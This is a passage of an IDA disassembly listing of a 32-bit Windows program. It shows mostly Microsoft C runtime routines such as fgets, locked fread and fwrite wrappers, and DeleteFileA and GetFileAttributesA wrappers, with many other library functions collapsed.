mov ecx, dword ptr [ebp+var_20]
mov eax, [ecx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+eax*4+18h], edx
jmp short loc_41DCED
; ---------------------------------------------------------------------------
loc_41DCC8: ; CODE XREF: sub_41DB90+D0j
; sub_41DB90+E1j ...
mov edx, dword ptr [ebp+var_20]
push edx ; char
push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
push 0 ; int
push 0 ; Value
push 0 ; int
push 0 ; int
call __CrtDbgReport
add esp, 18h
cmp eax, 1
jnz short loc_41DCE7
int 3 ; Trap to Debugger
loc_41DCE7: ; CODE XREF: sub_41DB90+154j
xor eax, eax
test eax, eax
jnz short loc_41DCC8
loc_41DCED: ; CODE XREF: sub_41DB90+136j
jmp loc_41DC41
; ---------------------------------------------------------------------------
loc_41DCF2: ; CODE XREF: sub_41DB90+BDj
mov ecx, [ebp+arg_0]
mov edx, dword_4F3504
mov [ecx+2Ch], edx
mov eax, [ebp+arg_0]
mov ecx, dword_4F34F8
mov [eax+30h], ecx
mov [ebp+var_4], 0FFFFFFFFh
call sub_41DD18
jmp short loc_41DD23
sub_41DB90 endp
; =============== S U B R O U T I N E =======================================
sub_41DD18 proc near ; CODE XREF: sub_41DB90+181p
; DATA XREF: .rdata:0043CB40o
push 9
call __unlock
add esp, 4
retn
sub_41DD18 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41DB90
loc_41DD23: ; CODE XREF: sub_41DB90+4Fj
; sub_41DB90+186j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41DB90
; ---------------------------------------------------------------------------
align 10h
; [00000123 BYTES: COLLAPSED FUNCTION __CrtMemDifference. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000002B1 BYTES: COLLAPSED FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41E121. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000037 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000114 BYTES: COLLAPSED FUNCTION __printMemBlockData. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000074 BYTES: COLLAPSED FUNCTION __CrtDumpMemoryLeaks. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000C5 BYTES: COLLAPSED FUNCTION __CrtMemDumpStatistics. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41E3E0(void *DstBuf,size_t ElementSize,size_t Count,FILE *File)
sub_41E3E0 proc near ; CODE XREF: sub_4010AB+45p
; sub_40FAB6+4Ep ...
var_4 = dword ptr -4
DstBuf = dword ptr 8
ElementSize = dword ptr 0Ch
Count = dword ptr 10h
File = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+File]
push eax
call __lock_file
add esp, 4
mov ecx, [ebp+File]
push ecx ; File
mov edx, [ebp+Count]
push edx ; Count
mov eax, [ebp+ElementSize]
push eax ; ElementSize
mov ecx, [ebp+DstBuf]
push ecx ; DstBuf
call _fread
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+File]
push edx
call __unlock_file
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41E3E0 endp
; ---------------------------------------------------------------------------
align 10h
; [000001CF BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FC BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000017 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FF BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000011 BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000129 BYTES: COLLAPSED FUNCTION __atoi64. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000038 BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000015 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000013 BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000013 BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E3 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __lockexit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000025 BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FA BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000010 BYTES: COLLAPSED FUNCTION _srand. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000242 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F210 proc near ; CODE XREF: sub_401CC7+7627p
; sub_401CC7+7656p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_10], ecx
loc_41F225: ; CODE XREF: sub_41F210+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41F249
push offset aStringNull ; "string != NULL"
push 0 ; int
push 3Bh ; Value
push offset aFgets_c ; "fgets.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41F249
int 3 ; Trap to Debugger
loc_41F249: ; CODE XREF: sub_41F210+19j
; sub_41F210+36j
xor edx, edx
test edx, edx
jnz short loc_41F225
loc_41F24F: ; CODE XREF: sub_41F210+67j
cmp [ebp+arg_8], 0
jnz short loc_41F273
push offset aStrNull ; "str != NULL"
push 0 ; int
push 3Ch ; Value
push offset aFgets_c ; "fgets.c"
push 2 ; int
call __CrtDbgReport
add esp, 14h
cmp eax, 1
jnz short loc_41F273
int 3 ; Trap to Debugger
loc_41F273: ; CODE XREF: sub_41F210+43j
; sub_41F210+60j
xor eax, eax
test eax, eax
jnz short loc_41F24F
cmp [ebp+arg_4], 0
jg short loc_41F286
xor eax, eax
jmp loc_41F347
; ---------------------------------------------------------------------------
loc_41F286: ; CODE XREF: sub_41F210+6Dj
mov ecx, [ebp+arg_8]
mov [ebp+File], ecx
mov edx, [ebp+File]
push edx
call __lock_file
add esp, 4
loc_41F298: ; CODE XREF: sub_41F210:loc_41F32Dj
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_4], 0
jz loc_41F332
mov ecx, [ebp+File]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+File]
mov [eax+4], edx
mov ecx, [ebp+File]
cmp dword ptr [ecx+4], 0
jl short loc_41F2E3
mov edx, [ebp+File]
mov eax, [edx]
movsx ecx, byte ptr [eax]
and ecx, 0FFh
mov [ebp+var_14], ecx
mov edx, [ebp+File]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+File]
mov [ecx], eax
jmp short loc_41F2F2
; ---------------------------------------------------------------------------
loc_41F2E3: ; CODE XREF: sub_41F210+B1j
mov edx, [ebp+File]
push edx ; File
call __filbuf
add esp, 4
mov [ebp+var_14], eax
loc_41F2F2: ; CODE XREF: sub_41F210+D1j
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_41F311
mov ecx, [ebp+var_8]
cmp ecx, [ebp+arg_0]
jnz short loc_41F30F
mov [ebp+var_10], 0
jmp short loc_41F338
; ---------------------------------------------------------------------------
loc_41F30F: ; CODE XREF: sub_41F210+F4j
jmp short loc_41F332
; ---------------------------------------------------------------------------
loc_41F311: ; CODE XREF: sub_41F210+ECj
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+var_C]
mov [edx], al
movsx ecx, byte ptr [ebp+var_C]
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
cmp ecx, 0Ah
jnz short loc_41F32D
jmp short loc_41F332
; ---------------------------------------------------------------------------
loc_41F32D: ; CODE XREF: sub_41F210+119j
jmp loc_41F298
; ---------------------------------------------------------------------------
loc_41F332: ; CODE XREF: sub_41F210+95j
; sub_41F210:loc_41F30Fj ...
mov eax, [ebp+var_8]
mov byte ptr [eax], 0
loc_41F338: ; CODE XREF: sub_41F210+FDj
mov ecx, [ebp+File]
push ecx
call __unlock_file
add esp, 4
mov eax, [ebp+var_10]
loc_41F347: ; CODE XREF: sub_41F210+71j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F210 endp
; ---------------------------------------------------------------------------
align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000331 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F6D0 proc near ; CODE XREF: sub_401CC7+5A01p
; .text:0041F727p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F5354 ; DeleteFileA
test eax, eax
jnz short loc_41F6ED
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_41F6F4
; ---------------------------------------------------------------------------
loc_41F6ED: ; CODE XREF: sub_41F6D0+10j
mov [ebp+var_4], 0
loc_41F6F4: ; CODE XREF: sub_41F6D0+1Bj
cmp [ebp+var_4], 0
jz short loc_41F70B
mov ecx, [ebp+var_4]
push ecx
call __dosmaperr
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41F70D
; ---------------------------------------------------------------------------
loc_41F70B: ; CODE XREF: sub_41F6D0+28j
xor eax, eax
loc_41F70D: ; CODE XREF: sub_41F6D0+39j
mov esp, ebp
pop ebp
retn
sub_41F6D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call sub_41F6D0
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [000000C1 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000145 BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000F3 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000135 BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000021 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000041 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4F3550
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4F3550, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000135 BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_4205F0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_420600. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_420610. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000056 BYTES: COLLAPSED FUNCTION _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003C BYTES: COLLAPSED FUNCTION ___CxxFrameHandler3. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000026 BYTES: COLLAPSED FUNCTION __CxxLongjmpUnwind(x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000039 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000CC BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000081 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000082 BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000A1 BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001C BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B3 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000018 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004D BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000181 BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000D0 BYTES: COLLAPSED FUNCTION __strcmpi. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000127 BYTES: COLLAPSED FUNCTION __fseek_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421420(void *Str,size_t Size,size_t Count,FILE *File)
sub_421420 proc near ; CODE XREF: sub_416D25+127p
var_4 = dword ptr -4
Str = dword ptr 8
Size = dword ptr 0Ch
Count = dword ptr 10h
File = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+File]
push eax
call __lock_file
add esp, 4
mov ecx, [ebp+File]
push ecx ; File
mov edx, [ebp+Count]
push edx ; Count
mov eax, [ebp+Size]
push eax ; Size
mov ecx, [ebp+Str]
push ecx ; Str
call _fwrite
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+File]
push edx
call __unlock_file
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421420 endp
; ---------------------------------------------------------------------------
align 10h
; [00000219 BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421680 proc near ; CODE XREF: sub_417471+8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F536C ; GetFileAttributesA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_4216AB
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
call __dosmaperr
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_4216DC
; ---------------------------------------------------------------------------
loc_4216AB: ; CODE XREF: sub_421680+15j
mov ecx, [ebp+var_4]
and ecx, 1
test ecx, ecx
jz short loc_4216DA
mov edx, [ebp+arg_4]
and edx, 2
test edx, edx
jz short loc_4216DA
call __errno
mov dword ptr [eax], 0Dh
call ___doserrno
mov dword ptr [eax], 5
or eax, 0FFFFFFFFh
jmp short loc_4216DC
; ---------------------------------------------------------------------------
loc_4216DA: ; CODE XREF: sub_421680+33j
; sub_421680+3Dj
xor eax, eax
loc_4216DC: ; CODE XREF: sub_421680+29j
; sub_421680+58j
mov esp, ebp
pop ebp
retn
sub_421680 endp
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001BF BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isalpha. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isupper. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _islower. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isxdigit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _ispunct. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isalnum. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isprint. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isgraph. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _iscntrl. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000010 BYTES: COLLAPSED FUNCTION ___isascii. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION ___toascii. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___iscsymf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___iscsym. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000B BYTES: COLLAPSED FUNCTION __tolower. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000093 BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000012B BYTES: COLLAPSED FUNCTION _tolower_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000030 BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001EB BYTES: COLLAPSED FUNCTION __mbstowcs_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000132 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_422492 proc near ; DATA XREF: .rdata:0043CDECo
mov ecx, [ebp-14h]
mov edx, [ecx]
mov eax, [edx]
mov [ebp-68h], eax
mov ecx, [ebp-14h]
push ecx
mov edx, [ebp-68h]
push edx
call __XcptFilter
add esp, 8
retn
sub_422492 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4224AD proc near ; DATA XREF: .rdata:0043CDF0o
mov esp, [ebp-18h]
mov eax, [ebp-68h]
push eax ; Code
call __exit
sub_4224AD endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000028 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [0000002A BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000012C BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001A BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __lock_file. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __lock_file2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __unlock_file. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __unlock_file2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422760 proc near ; CODE XREF: __CrtDbgReport+113p
; _CrtMessageWindow+33p
push ebp
mov ebp, esp
call ds:dword_4F5498 ; DebugBreak
pop ebp
retn
sub_422760 endp
; ---------------------------------------------------------------------------
align 10h
; [00000057 BYTES: COLLAPSED FUNCTION __CrtSetReportMode. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000007E BYTES: COLLAPSED FUNCTION __CrtSetReportFile. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4F3C10
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4F3C10, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000390 BYTES: COLLAPSED FUNCTION __CrtDbgReport. PRESS KEYPAD "+" TO EXPAND]
; [0000030C BYTES: COLLAPSED FUNCTION _CrtMessageWindow. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000007A BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __close_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000092 BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000044 BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000041 BYTES: COLLAPSED FUNCTION __fflush_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __flushall. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000013F BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000030 BYTES: COLLAPSED FUNCTION _set_new_handler(int (*)(uint)). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, dword_4F3588
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000037 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000009F BYTES: COLLAPSED FUNCTION __mtdeletelocks. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000097 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000016 BYTES: COLLAPSED FUNCTION __unlock. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001C BYTES: COLLAPSED FUNCTION __lockerr_exit. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
unknown_libname_4: ; Microsoft VisualC 2-8/net runtime
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call __local_unwind2
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __malloc_base. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __nh_malloc_base. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000065 BYTES: COLLAPSED FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_423785. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000077 BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_423807 proc near ; CODE XREF: __heap_alloc_base+E0p
; DATA XREF: .rdata:0043D05Co
push 9
call __unlock
add esp, 4
retn
sub_423807 endp
; ---------------------------------------------------------------------------
; [0000005B BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
